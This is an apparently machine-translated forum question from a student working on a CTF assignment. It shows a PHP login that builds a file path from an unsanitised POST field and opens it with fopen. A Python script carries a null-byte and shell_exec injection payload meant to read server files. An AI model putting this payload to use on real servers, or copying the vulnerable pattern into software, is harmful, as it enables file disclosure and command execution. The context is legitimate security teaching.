Я беру класс кибербезопасности, и для назначения нам нужно использовать определенный файл php и получить какой-то доступ к серверу, на котором он размещен. Я могу установить свои собственные переменные $email
и $ password
, поскольку они установлены с $_POST
. Я считаю, что единственный фрагмент кода, который я могу использовать, - это.Использование уязвимостей в php's fopen
$email = $_POST['email']
$password = $_POST['password']
....
$accountfile = "./acounts/" . $email
if(!file_exists($accountfile)){
diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
if(strcmp($pass,$password)!=0){
diefooter("wrong email or password.")
}
Я знаю, что есть уязвимости, встроенные в функцию Еорепа() и что я могу получить доступ к оболочке с правильным входом.
filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"
shellKode = "[email protected]\0;echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'[email protected]','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)
Я могу ввести электронное письмо в систему, но формат будет проверен перед сохранением. В этот момент я немного потерял и не уверен, что еще я могу сделать. fopen()
- единственная функция в файле, которая, я думаю, может быть использована, и я не могу думать о другом месте, где может быть эксплойт.
Хм, я понимаю, это похоже на то, что я спрашиваю, как взломать есть способ, которым я могу убедить вас/других людей, рассматривающих это. Я показываю php-код, поэтому должен быть немного отдать, что у меня уже есть доступ к системе. – user3267256
Можете ли вы добавить еще код под $ fh = fopen ($ accountfile, "r")? Это потребует знать, как использовать fopen() в этом конкретном случае. Опубликуйте больше кода до и после используемого бита. Я думаю, что это интересная головоломка. –
Просто сделал! не уверен, поможет ли это или нет. – user3267256